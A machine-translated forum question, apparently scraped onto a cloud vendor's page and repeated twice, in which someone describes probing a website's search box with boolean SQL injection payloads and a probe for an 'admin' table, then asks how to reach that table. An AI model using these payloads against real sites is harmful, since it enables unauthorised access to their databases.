Querying for table names when SQL injection is there a little bit of a problem asking the gods to answer that thank you.

Source: Internet
Author: User
So, these two days when trying to inject a station through a text search box, query

XXX%' and 1=1 and '%'='

Normal display, query

XXX%' and 1=2 and '%'='

When it is not properly displayed, its query statements are as follows

SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜索框的内容)%' ……

And then I want to try.

XXX%' and (select count(*) from admin)>0 and '%'='

The result is an error

Table 'child.admin' doesn't exist

So the question is, how can I check the admin table instead of checking to see if *.admin exists?
Thank God for the first place.

Reply content:

So, these two days when trying to inject a station through a text search box, query

XXX%' and 1=1 and '%'='

Normal display, query

XXX%' and 1=2 and '%'='

When it is not properly displayed, its query statements are as follows

SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜索框的内容)%' ……

And then I want to try.

XXX%' and (select count(*) from admin)>0 and '%'='

The result is an error

Table 'child.admin' doesn't exist

So the question is, how can I check the admin table instead of checking to see if *.admin exists?
Thank God for the first place.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.